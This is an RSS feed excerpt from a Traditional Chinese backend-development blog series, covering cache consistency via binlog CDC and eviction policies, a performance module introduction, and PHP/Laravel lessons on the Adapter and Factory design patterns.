<blockquote>
<p>延遲雙刪並不是很常見，因為 休眠時間 很難精準估，實務上通常只在<strong>高一致性要求系統</strong>才會用。</p>
</blockquote>
<h2 id="heading-binlog-cdc">進階挑戰：徹底解耦—基於 Binlog 的快取自動同步 (CDC)</h2>
<p>在標準的 Cache-Aside Pattern 中，工程師必須小心翼翼地在每一處「更新 DB」的程式碼後方，補上一句「刪除 Cache」。如果某個新人忘記寫了，或者某個後台管理腳本直接改了 SQL，Cache 裡的資料就會變成永久的髒資料。</p>
<p><strong>問題核心：業務邏輯與快取維護邏輯高度耦合 (Coupling)。</strong></p>
<p>為了解決這個問題，我們引入 <strong>CDC (Change Data Capture)</strong> 技術。我們不再由應用程式去管 Cache，而是讓 Database 的變更「主動」通知 Cache 進行更新。</p>
<h2 id="heading-5p625qel5y6f55cg">架構原理</h2>
<p>這個架構的核心在於 <strong>MySQL Binlog</strong>。MySQL 的 Binlog 記錄了所有的資料變更（Insert, Update, Delete）。我們可以透過一個中介軟體（Middleware）偽裝成 MySQL 的 Slave 節點，監聽 Binlog，解析出變更後的資料，然後推送到 Message Queue (如 RabbitMQ/Kafka)，最後由一個獨立的 Consumer 更新 Redis。</p>
<h3 id="heading-5a6m5pw06loh5paz5rwb77ya">完整資料流：</h3>
<ol>
<li><p><strong>Business App</strong>：只管寫入 MySQL，完全不用管 Redis。</p>
</li>
<li><p><strong>MySQL</strong>：將變更寫入 Binlog (需設定 <code>binlog_format = ROW</code>)。</p>
</li>
<li><p><strong>CDC Middleware</strong>：</p>
<ul>
<li><p>偽裝成 MySQL Slave。</p>
</li>
<li><p>即時讀取 Binlog。</p>
</li>
<li><p>將二進位的日誌解析成 JSON 格式 (例如：<code>{ "table": "users", "type": "UPDATE", "data": {...} }</code>)。</p>
</li>
</ul>
</li>
<li><p><strong>Message Queue (RabbitMQ/Kafka)</strong>：緩衝這些變更訊息，確保順序性與可靠性。</p>
</li>
<li><p><strong>Cache Consumer</strong>：訂閱 MQ，收到變更通知後，對 Redis 進行「刪除」或「更新」操作。</p>
</li>
</ol>
<h2 id="heading-5qwt55wm5bi455so5bel5yw3">業界常用工具</h2>
<p>要實作這套架構，你不需要自己去寫 Binlog Parser，業界已有成熟方案：</p>
<ol>
<li><p><strong>Canal (阿裡巴巴開源)</strong>：</p>
<ul>
<li><p>最經典的方案，Java 寫的。</p>
</li>
<li><p>部署簡單，直接支援投遞到 RocketMQ, Kafka, RabbitMQ。</p>
</li>
<li><p>適合：以 MySQL 為主的架構。</p>
</li>
</ul>
</li>
<li><p><strong>Debezium (RedHat 開源)</strong>：</p>
<ul>
<li><p>基於 Kafka Connect。</p>
</li>
<li><p>支援多種 DB (MySQL, PostgreSQL, MongoDB...)。</p>
</li>
<li><p>適合：已有 Kafka 生態系的大型架構。</p>
</li>
</ul>
</li>
<li><p><strong>Maxwell</strong>：</p>
<ul>
<li>輕量級，將 Binlog 解析為 JSON 並發送至 Kafka/RabbitMQ。</li>
</ul>
</li>
</ol>
<h1 id="heading-5br5yw5lin5piv5yq5pyj5yqg6ycf">快取不是只有加速</h1>
<h2 id="heading-5yiq6zmk6iih5pu05paw55qe5oqj5poh">刪除與更新的抉擇</h2>
<h3 id="heading-cache-cache">為什麼是「刪除 Cache」而不是「更新 Cache」？</h3>
<p>很多人會直覺地認為：「我改了 DB，順便把新的值寫入 Redis 不就好了嗎？」</p>
<p>但這裡卻採用刪除的方式，原因以下：</p>
<ol>
<li><p>併發競爭： 假設有兩個請求 A 和 B 同時修改同一筆資料。</p>
<ul>
<li><p>A 先改了 DB，正準備更新 Cache...</p>
</li>
<li><p>B 緊接著改了 DB，並且搶先更新了 Cache。</p>
</li>
<li><p>這時 A 終於更新了 Cache。</p>
</li>
<li><p><strong>結果</strong>：DB 裡是 B 的新資料，但 Cache 裡卻是 A 的舊資料（髒資料）。</p>
</li>
</ul>
</li>
<li><p>效能浪費： 有些資料是「寫多讀少」的。如果你每次修改 DB 都去計算並更新 Cache，但這筆資料可能根本沒人來讀，那你花費在計算 Cache 的資源就浪費了。採用「刪除」策略，即是Lazy Loading（延遲加載） 的概念——等到真的有人要讀時，再重新計算並寫入。</p>
</li>
</ol>
<h2 id="heading-5rey5rgw562w55wl">淘汰策略</h2>
<p>上面講的是如何讓cache的資料跟Database一致，或者說：當我們更新數據源的時候要怎麼讓快取也一併更新。</p>
<p>那我們現在來談談：快取的淘汰策略。</p>
<h3 id="heading-ttl">TTL</h3>
<p>一般來說第一層淘汰策略就是：TTL。</p>
<p>TTL 是由 Redis 依據過期時間進行惰性刪除與定期清理的機制。設定一個有效期限（例如 300 sec），到期後即自動失效。</p>
<p>TTL的優點就是簡單有效，也可以避免資料長時間占用Redis空間。</p>
<p>但也有缺點：</p>
<ol>
<li><p>不會自動調整策略，需要依靠經驗或業務邏輯來設定相關的有效時間。</p>
</li>
<li><p>過早淘汰或過晚失效都有可能讓系統不堪負荷。</p>
</li>
<li><p>無法處理 Cache 滿了的時候 應該怎麼辦。</p>
</li>
</ol>
<h3 id="heading-lru">LRU</h3>
<p>Least Recently Used，淘汰「最久沒被用」的資料，近期熱資料優先保留。</p>
<p>依照「最後一次存取時間」排序，Cache 滿了 → 把最久沒被碰過的 key 刪除。</p>
<p>LRU非常符合人類直覺的淘汰策略，但對於週期性存取不太友善，也有可能被爬蟲(或突發流量)影響。</p>
<p>適用場景：電子商務商品列表、熱門文章…等。</p>
<h3 id="heading-lfu">LFU</h3>
<p>Least Frequently Used，淘汰「使用次數最少」的資料，長期熱資料優先保留。</p>
<p>記錄每個 key 被存取的「次數」，淘汰累積使用最少的 key。</p>
<p>LFU對應突發流量的處理情況會比LRU來的好一些，因為他是計算次數，但冷啟動的問題就相對嚴重，也容易讓 “存越久的資料越不容易刪除”，</p>
<p>適用場景：國碼表、程式表、設定檔、幾乎不變但很常被查的資料。</p>
]]></content:encoded></item><item><title><![CDATA[Module 4: 效能優化與系統緩衝]]></title><description><![CDATA[序
當系統架構逐漸成形、程式碼品質也趨於穩定後，下一個遲早會浮現的現實問題：撐得住嗎？
也許在開發環境一切順暢，但一上線就開始出現以下情境：

使用者一多，API 回應時間明顯變慢

尖峰流量來臨時，資料庫 CPU 飆高、連線數耗盡

某個外部服務偶爾變慢，卻拖垮了整個系統

記憶體持續成長，最後只剩一句「Out of Memory」


這些問題，不是功能寫錯，而是系統沒有「緩衝能力」。
在 Module 4 中，我們將視角從「單一請求的正確性」，提升到「整體系統在壓力下的行為」。我們需要開始...]]></description><link>https://blog.bennett1999.com/the-performance</link><guid isPermaLink="true">https://blog.bennett1999.com/the-performance</guid><category><![CDATA[backend]]></category><category><![CDATA[software development]]></category><category><![CDATA[performance]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Mon, 29 Dec 2025 08:25:18 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-5bqp">序</h1>
<p>當系統架構逐漸成形、程式碼品質也趨於穩定後，下一個遲早會浮現的現實問題：<strong>撐得住嗎？</strong></p>
<p>也許在開發環境一切順暢，但一上線就開始出現以下情境：</p>
<ul>
<li><p>使用者一多，API 回應時間明顯變慢</p>
</li>
<li><p>尖峰流量來臨時，資料庫 CPU 飆高、連線數耗盡</p>
</li>
<li><p>某個外部服務偶爾變慢，卻拖垮了整個系統</p>
</li>
<li><p>記憶體持續成長，最後只剩一句「Out of Memory」</p>
</li>
</ul>
<p>這些問題，<strong>不是功能寫錯，而是系統沒有「緩衝能力」</strong>。</p>
<p>在 Module 4 中，我們將視角從「單一請求的正確性」，提升到「整體系統在壓力下的行為」。我們需要開始理解：效能優化不是微調 SQL 或加幾個 Index，而是一套完整的系統設計思維。</p>
<p>寫出能跑的系統，只是工程師的起點。<br />寫出在壓力下依然穩定、可預期、可恢復的系統，才是真正走向資深的關鍵一步。</p>
]]></content:encoded></item><item><title><![CDATA[Lesson 20：適配器模式 - 讓不相容的介面也能合作]]></title><description><![CDATA[這堂課我們正式進入 - 結構型模式 的領域。
如果不把這「創建型」模式（工廠、建造者）搞定，我們很難有東西可以「結構化」。但現在我們已經學會怎麼優雅地產生物件了，接下來會遇到的問題通常是：「這個新來的物件，跟我的舊系統插頭不合怎麼辦？」
這就是 Adapter Pattern 的主場。
核心概念：轉接頭
從台灣帶了筆電（三孔插頭）出國旅行。
牆上的插座 (Client 期待的介面)：可能是兩孔圓形，或兩孔扁形。
筆電插頭 (Adaptee 被適配者)：兩孔扁型，一孔圓形。
問題：插不進去，無法供...]]></description><link>https://blog.bennett1999.com/adapter-pattern</link><guid isPermaLink="true">https://blog.bennett1999.com/adapter-pattern</guid><category><![CDATA[Adapter Pattern]]></category><category><![CDATA[Laravel]]></category><category><![CDATA[design patterns]]></category><category><![CDATA[SOLID principles]]></category><category><![CDATA[backend]]></category><category><![CDATA[Software Engineering]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Mon, 29 Dec 2025 08:17:50 GMT</pubDate><content:encoded><![CDATA[<p>這堂課我們正式進入 - 結構型模式 的領域。</p>
<p>如果不把這「創建型」模式（工廠、建造者）搞定，我們很難有東西可以「結構化」。但現在我們已經學會怎麼優雅地產生物件了，接下來會遇到的問題通常是：「這個新來的物件，跟我的舊系統插頭不合怎麼辦？」</p>
<p>這就是 Adapter Pattern 的主場。</p>
<h1 id="heading-5qc45bd5qac5b177ya6l2j5o6l6act">核心概念：轉接頭</h1>
<p>從台灣帶了筆電（三孔插頭）出國旅行。</p>
<p>牆上的插座 (Client 期待的介面)：可能是兩孔圓形，或兩孔扁形。</p>
<p>筆電插頭 (Adaptee 被適配者)：兩孔扁型，一孔圓形。</p>
<p>問題：插不進去，無法供電。</p>
<p>解決方案：不可能把牆壁打掉重練，也不會把筆電插頭剪掉。我們會買一個 「萬用轉接頭 」。</p>
<h2 id="heading-56il5byp56k85lit55qe5a6a576p">程式碼中的定義</h2>
<p>適配器模式將一個類別的介面，轉換成客戶端期待的另一個介面。它讓原本因介面不相容而無法一起工作的類別，可以協同運作。</p>
<h1 id="heading-5am5oiw5ac05pmv77ya56ys5lij5pa55liy5o6l55qe5ooh5asi">實戰場景：第三方串接的惡夢</h1>
<p>假設原本的系統支援「站內信」通知。</p>
<h3 id="heading-step-1">Step 1: 既有的標準介面</h3>
<p>系統依賴這個 <code>Interface</code> 來運作：</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">NotificationInterface</span>
</span>{
    <span class="hljs-comment">// 系統只認得 send 這個方法</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">send</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> $title, <span class="hljs-keyword">string</span> $message</span>): <span class="hljs-title">void</span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">InternalSystem</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">NotificationInterface</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">send</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> $title, <span class="hljs-keyword">string</span> $message</span>): <span class="hljs-title">void</span>
    </span>{
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"站內信發送: <span class="hljs-subst">$title</span> - <span class="hljs-subst">$message</span>"</span>;
    }
}
</code></pre>
<h3 id="heading-step-2">Step 2: 新的需求與不相容的套件</h3>
<p>PM說：「我們要串接 LINE！」 於是你找了一個第三方套件 <code>line-bot-sdk-php</code>，但它的方法簽章可能長這樣：</p>
<pre><code class="lang-php"><span class="hljs-keyword">use</span> <span class="hljs-title">LINE</span>\<span class="hljs-title">Clients</span>\<span class="hljs-title">MessagingApi</span>\<span class="hljs-title">Api</span>\<span class="hljs-title">MessagingApiApi</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">LINE</span>\<span class="hljs-title">Clients</span>\<span class="hljs-title">MessagingApi</span>\<span class="hljs-title">Model</span>\<span class="hljs-title">PushMessageRequest</span>;

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MessagingApiApi</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">pushMessage</span>(<span class="hljs-params">PushMessageRequest $pushMessageRequest, <span class="hljs-keyword">string</span> $xLineRetryKey = <span class="hljs-literal">null</span></span>)
    </span>{
        <span class="hljs-comment">// ... SDK 內部實作，發送 HTTP 請求 ...</span>
    }
}
</code></pre>
<p>問題來了：</p>
<ol>
<li><p>原先系統（呼叫端）只知道 <code>send($title, $message)</code>。</p>
</li>
<li><p>LINE SDK 需要 <code>pushMessageRequset</code>、 <code>xLineRetryKey</code>。</p>
</li>
<li><p>參數型別不合 (String vs Request)、參數意義不同，根本接不起來。</p>
</li>
</ol>
<h3 id="heading-step-3-adapter">Step 3: 製作適配器 (Adapter)</h3>
<p>我們建立 <code>LineAdapter</code>，在內部處理掉那些煩人的物件組裝工作。</p>
<pre><code class="lang-php"><span class="hljs-keyword">use</span> <span class="hljs-title">LINE</span>\<span class="hljs-title">Clients</span>\<span class="hljs-title">MessagingApi</span>\<span class="hljs-title">Api</span>\<span class="hljs-title">MessagingApiApi</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">LINE</span>\<span class="hljs-title">Clients</span>\<span class="hljs-title">MessagingApi</span>\<span class="hljs-title">Model</span>\<span class="hljs-title">PushMessageRequest</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">LINE</span>\<span class="hljs-title">Clients</span>\<span class="hljs-title">MessagingApi</span>\<span class="hljs-title">Model</span>\<span class="hljs-title">TextMessage</span>;

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">LineAdapter</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">NotificationInterface</span>
</span>{
    <span class="hljs-keyword">private</span> MessagingApiApi $lineApi;
    <span class="hljs-keyword">private</span> <span class="hljs-keyword">string</span> $targetUserId;

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">MessagingApiApi $lineApi, <span class="hljs-keyword">string</span> $targetUserId</span>)
    </span>{
        <span class="hljs-keyword">$this</span>-&gt;lineApi = $lineApi;
        <span class="hljs-keyword">$this</span>-&gt;targetUserId = $targetUserId;
    }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">send</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> $title, <span class="hljs-keyword">string</span> $message</span>): <span class="hljs-title">void</span>
    </span>{
        <span class="hljs-comment">// Adapter 的核心價值：轉譯 (Translate)</span>
        <span class="hljs-comment">// 把「簡單的字串」轉譯成「SDK 需要的複雜物件結構」</span>

        <span class="hljs-comment">// 1. 先建立訊息物件</span>
        $textMessage = <span class="hljs-keyword">new</span> TextMessage([
            <span class="hljs-string">'type'</span> =&gt; <span class="hljs-string">'text'</span>,
            <span class="hljs-string">'text'</span> =&gt; <span class="hljs-string">"【<span class="hljs-subst">$title</span>】\\n<span class="hljs-subst">$message</span>"</span>
        ]);

        <span class="hljs-comment">// 2. 再建立 Request 物件 (包裝 UserID 和 訊息)</span>
        $request = <span class="hljs-keyword">new</span> PushMessageRequest([
            <span class="hljs-string">'to'</span> =&gt; <span class="hljs-keyword">$this</span>-&gt;targetUserId,
            <span class="hljs-string">'messages'</span> =&gt; [$textMessage],
        ]);

        <span class="hljs-comment">// 3. 呼叫 SDK</span>
        <span class="hljs-keyword">$this</span>-&gt;lineApi-&gt;pushMessage($request);
    }
}
</code></pre>
<p>在這個例子中：</p>
<ul>
<li><p>Client：pushNotification()</p>
</li>
<li><p>Target：NotificationInterface</p>
</li>
<li><p>Adaptee：LINE SDK 的 MessagingApiApi</p>
</li>
<li><p>Adapter：LineAdapter</p>
</li>
</ul>
<h3 id="heading-step-4">Step 4: 呼叫端完全沒有變動</h3>
<pre><code class="lang-php"><span class="hljs-comment">// 業務邏輯 (Controller 或 Service)</span>
<span class="hljs-comment">// 完全不需要 use LINE\Clients\.....</span>
<span class="hljs-comment">// 依然乾乾淨淨</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">pushNotification</span>(<span class="hljs-params">NotificationInterface $notifier</span>) </span>{
    $notifier-&gt;send(<span class="hljs-string">"訂單通知"</span>, <span class="hljs-string">"您購買的商品已出貨"</span>);
}

<span class="hljs-comment">// -----------------------------------------</span>

<span class="hljs-comment">// 初始化 SDK</span>
$client = <span class="hljs-keyword">new</span> \GuzzleHttp\Client();
$config = <span class="hljs-keyword">new</span> \LINE\Clients\MessagingApi\Configuration();
$config-&gt;setAccessToken(<span class="hljs-string">'YOUR_ACCESS_TOKEN'</span>);
$lineApi = <span class="hljs-keyword">new</span> MessagingApiApi($client, $config);

<span class="hljs-comment">// 注入 Adapter</span>
$adapter = <span class="hljs-keyword">new</span> LineAdapter($lineApi, <span class="hljs-string">'USER-12345678'</span>);

<span class="hljs-comment">// 發送！</span>
pushNotification($adapter);
</code></pre>
<p><strong>結果</strong>：原本的 <code>pushNotification</code> 函式一行都不用改，就能支援 Line。這就是符合 OCP 的展現。</p>
<h1 id="heading-laravel">Laravel 中的應用</h1>
<p>Adapter 模式是現代框架「可替換驅動 (Driver-based)」架構的核心。</p>
<h2 id="heading-storage">Storage</h2>
<p>這是最經典的例子。Laravel 的 <code>Storage</code> Facade 讓你感覺像在操作同一個東西，但底層其實是完全不同的 API。</p>
<ul>
<li><p><strong>Target 介面</strong>：<code>Illuminate\\Contracts\\Filesystem\\Filesystem</code> (定義了 <code>put</code>, <code>get</code>, <code>delete</code>...)</p>
</li>
<li><p><strong>Adaptee 1 (Local)</strong>：PHP 原生的 <code>file_put_contents</code>, <code>unlink</code>。</p>
</li>
<li><p><strong>Adaptee 2 (S3)</strong>：AWS SDK 的 <code>$s3Client-&gt;putObject(...)</code>。</p>
</li>
<li><p><strong>Adapter</strong>：Laravel 內部的 <code>LocalAdapter</code> 和 <code>AwsS3Adapter</code>。它們把原生的指令或 SDK 指令，翻譯成統一的 <code>put</code> / <code>get</code>。</p>
</li>
</ul>
<p>這就是為什麼你可以只改一行 <code>.env</code> 設定，就讓上傳功能從本機切換到 AWS S3。</p>
<h2 id="heading-cache-amp-database">Cache &amp; Database</h2>
<p>同理，Redis、Memcached、MySQL、PostgreSQL 雖然操作指令不同，但在框架層都被 Adapter 包裝成統一的介面。</p>
<h1 id="heading-adapter-vs-decorator">進階 - Adapter vs Decorator</h1>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>模式</strong></td><td><strong>適配器 (Adapter)</strong></td><td><strong>裝飾器 (Decorator)</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>目的</strong></td><td><strong>轉換介面</strong>，讓無法合作的變成可以合作</td><td><strong>增強功能</strong>，在不改變介面的情況下加料</td></tr>
<tr>
<td><strong>改變</strong></td><td>改變了介面 (A → B)</td><td>不改變介面 (A → A+)</td></tr>
<tr>
<td><strong>譬喻</strong></td><td>轉接頭 (讓圓頭插進扁孔)</td><td>手機殼 (讓手機變防摔，但還是手機)</td></tr>
</tbody>
</table>
</div><h1 id="heading-57i957wq">總結</h1>
<p>Adapter 模式是解決「第三方整合」的神器。</p>
<ol>
<li><p>何時使用？ 想用一個既有的類別，但它的介面跟系統不合時。</p>
</li>
<li><p>好處是什麼？ 讓 Client 端程式碼保持單純，不需要為了配合外部套件而改來改去。</p>
</li>
<li><p>關鍵心法： Adapter 是用來「擦屁股」或「翻譯」的，它不應該包含太多的業務邏輯。</p>
<ol>
<li><p>NO！Adapter 裡計算金額、判斷權限</p>
</li>
<li><p>NO！ Adapter 裡寫 retry / fallback 策略</p>
</li>
</ol>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Lesson 19: 工廠模式 與 建造者模式]]></title><description><![CDATA[工廠模式
在 SOLID 的課程後，我們已經知道「依賴注入」的重要性：我們不應該在類別內部直接 new 依賴的物件。
但問題來了：「那到底誰負責 new？」 總得有人負責把物件生出來吧？如果到處散落著 new, 當需求變更時，我們還是要改一堆地方。
在Lesson 17 開放封閉 (OCP) 的時候我們有說道：利用策略模式來進行解偶，並利用”工廠模式”來決定策略的選擇(實作 實例化物件)，但當時對於工廠模式並沒有去詳細說明，這裡我們一起來看看工廠模式的相關細節。
核心概念：為什麼需要「工廠」

...]]></description><link>https://blog.bennett1999.com/factory-builder</link><guid isPermaLink="true">https://blog.bennett1999.com/factory-builder</guid><category><![CDATA[Factory Design Pattern]]></category><category><![CDATA[builder pattern]]></category><category><![CDATA[SOLID principles]]></category><category><![CDATA[interface]]></category><category><![CDATA[Laravel]]></category><category><![CDATA[backend developments]]></category><category><![CDATA[backend]]></category><category><![CDATA[software development]]></category><category><![CDATA[從Rookie到Junior，一個後端成長的30堂課 ]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Wed, 24 Dec 2025 10:35:38 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-5bel5bug5qih5byp">工廠模式</h1>
<p>在 SOLID 的課程後，我們已經知道「依賴注入」的重要性：我們不應該在類別內部直接 <code>new</code> 依賴的物件。</p>
<p>但問題來了：「那到底誰負責 <code>new</code>？」 總得有人負責把物件生出來吧？如果到處散落著 <code>new</code>, 當需求變更時，我們還是要改一堆地方。</p>
<p>在Lesson 17 開放封閉 (OCP) 的時候我們有說道：利用策略模式來進行解偶，並利用”工廠模式”來決定策略的選擇(實作 實例化物件)，但當時對於工廠模式並沒有去詳細說明，這裡我們一起來看看工廠模式的相關細節。</p>
<h2 id="heading-5qc45bd5qac5b177ya54k65lua6bq86zya6kab44cm5bel5bug44cn">核心概念：為什麼需要「工廠」</h2>
<ul>
<li><p>沒有工廠模式</p>
<p>  想吃漢堡，必須自己走進廚房，自己拿麵包、煎肉排、切生菜、組裝。Client需要知道所有製作細節。</p>
</li>
<li><p>有工廠模式</p>
<p>  走到櫃檯說：「我要一個大麥克」。過幾分鐘，漢堡就出來了。Client完全不需要知道漢堡是怎麼做的，只關心拿到的是不是漢堡。</p>
</li>
</ul>
<p>工廠模式所要解決的就是 解決的是 「我要 new 誰？」這個問題，更精確地說，工廠模式不是為了消滅 new，而是為了集中並隔離「建立物件的決策邏輯」，避免這些決策污染核心業務流程。</p>
<h2 id="heading-5am6zqb56e5l6l">實際範例</h2>
<h3 id="heading-5lin5aw955qe56e5l6l">不好的範例</h3>
<p>假設我們有一個「通知服務」，可以發送 Email 或 SMS。</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">NotificationService</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">send</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> $type, <span class="hljs-keyword">string</span> $message</span>)
    </span>{
        $notifier = <span class="hljs-literal">null</span>;

        <span class="hljs-comment">// 違反 OCP：每次加一種新通知，都要來改這個 Service</span>
        <span class="hljs-comment">// 違反 SRP：Service 應該只管「發送」，不該管「怎麼 new 物件」</span>
        <span class="hljs-keyword">if</span> ($type === <span class="hljs-string">'email'</span>) {
            $notifier = <span class="hljs-keyword">new</span> EmailNotifier();
        } <span class="hljs-keyword">elseif</span> ($type === <span class="hljs-string">'sms'</span>) {
            $notifier = <span class="hljs-keyword">new</span> SmsNotifier();
        }

        $notifier-&gt;send($message);
    }
}
</code></pre>
<h3 id="heading-simple-factory">第一階段調整：簡單工廠 (Simple Factory)</h3>
<p>這是最常見的重構手法，雖然嚴格來說它不算標準 GoF 設計模式，但非常實用。 我們把實例化的工作，丟給一個靜態方法去處理。</p>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">NotifierFactory</span>
</span>{
    <span class="hljs-comment">// 靜態方法，負責生產物件</span>
    <span class="hljs-comment">// 回傳的是介面 (Interface)，這符合 DIP (依賴反轉)</span>
    <span class="hljs-keyword">public</span> <span class="hljs-built_in">static</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">create</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> $type</span>): <span class="hljs-title">NotifierInterface</span>
    </span>{
        <span class="hljs-keyword">switch</span> ($type) {
            <span class="hljs-keyword">case</span> <span class="hljs-string">'email'</span>:
                <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> EmailNotifier(); <span class="hljs-comment">// 這裡可能包含複雜的 SMTP 設定</span>
            <span class="hljs-keyword">case</span> <span class="hljs-string">'sms'</span>:
                <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> SmsNotifier();
            <span class="hljs-keyword">default</span>:
                <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Exception</span>(<span class="hljs-string">"不支援的通知類型"</span>);
        }
    }
}
</code></pre>
<pre><code class="lang-php"><span class="hljs-comment">//Service就變乾淨</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">NotificationService</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">send</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> $type, <span class="hljs-keyword">string</span> $message</span>)
    </span>{
        <span class="hljs-comment">// ✅ Service 不再關心物件怎麼產生的</span>
        <span class="hljs-comment">// 就像跟工廠下訂單一樣</span>
        $notifier = NotifierFactory::create($type);
        $notifier-&gt;send($message);
    }
}

<span class="hljs-comment">/**
優點：Service 層與「具體通知實作與建立細節」解耦，符合 SRP。 
缺點：如果明天要加 "Line" 通知，還是要回去改 NotifierFactory 的 switch，微幅違反 OCP。
但在中小型專案中，這是可接受的妥協。
*/</span>
</code></pre>
<h3 id="heading-factory-method">第二階段調整：工廠方法 (Factory Method)</h3>
<p>這才是正宗的 GoF 設計模式。當系統非常複雜，或者開發的是框架/Library，希望使用者擴充功能時完全不用改你的原始碼，就會用到這個。</p>
<p><strong>核心定義：「定義一個建立物件的介面，但讓子類別決定要實例化哪一個類別。」</strong></p>
<p><strong>架構設計</strong></p>
<ol>
<li><p>產品 (Product)：<code>NotifierInterface</code></p>
</li>
<li><p>工廠 (Creator)：<code>NotifierFactory</code> (介面或抽象類別)</p>
</li>
</ol>
<p>我們不再用一個巨大的 <code>switch</code>，而是「一種產品，配一個專屬工廠」。</p>
<p>注：實務上 Factory Method 不一定是「一個產品一個工廠」，而是「建立流程由子類決定」；本例採用一對一設計，是為了讓責任邊界最清楚。</p>
<pre><code class="lang-php"><span class="hljs-comment">// 1. 定義工廠合約</span>
<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">NotifierFactory</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">createNotifier</span>(<span class="hljs-params"></span>): <span class="hljs-title">NotifierInterface</span></span>;
}

<span class="hljs-comment">// 2. 實作：Email 專屬工廠</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">EmailFactory</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">NotifierFactory</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">createNotifier</span>(<span class="hljs-params"></span>): <span class="hljs-title">NotifierInterface</span>
    </span>{
        <span class="hljs-comment">// 這裡可以處理很複雜的建構邏輯</span>
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> EmailNotifier(<span class="hljs-string">'smtp.gmail.com'</span>, <span class="hljs-number">587</span>);
    }
}

<span class="hljs-comment">// 3. 實作：SMS 專屬工廠</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SmsFactory</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">NotifierFactory</span>
</span>{
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">createNotifier</span>(<span class="hljs-params"></span>): <span class="hljs-title">NotifierInterface</span>
    </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> SmsNotifier();
    }
}
</code></pre>
<pre><code class="lang-php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">NotificationService</span>
</span>{
    <span class="hljs-keyword">private</span> $factory;

    <span class="hljs-comment">// 依賴注入：給我一個工廠，隨便哪個工廠都行</span>
    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params">NotifierFactory $factory</span>) 
    </span>{
        <span class="hljs-keyword">$this</span>-&gt;factory = $factory;
    }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">send</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> $msg</span>)
    </span>{
        <span class="hljs-comment">// 我不知道會產生什麼，反正工廠會給我一個能用的 Notifier</span>
        $notifier = <span class="hljs-keyword">$this</span>-&gt;factory-&gt;createNotifier();
        $notifier-&gt;send($msg);
    }
}

<span class="hljs-comment">// 使用時：由外部決定要注入哪個工廠</span>
$service = <span class="hljs-keyword">new</span> NotificationService(<span class="hljs-keyword">new</span> EmailFactory());

<span class="hljs-comment">/**
優點 (OCP)：如果明天要加 "Line"，只需要新增 LineNotifier 和 LineFactory。
舊的 Service 和舊的 Factory 完全不用改！
*/</span>
</code></pre>
<h3 id="heading-laravel">Laravel 實戰場景</h3>
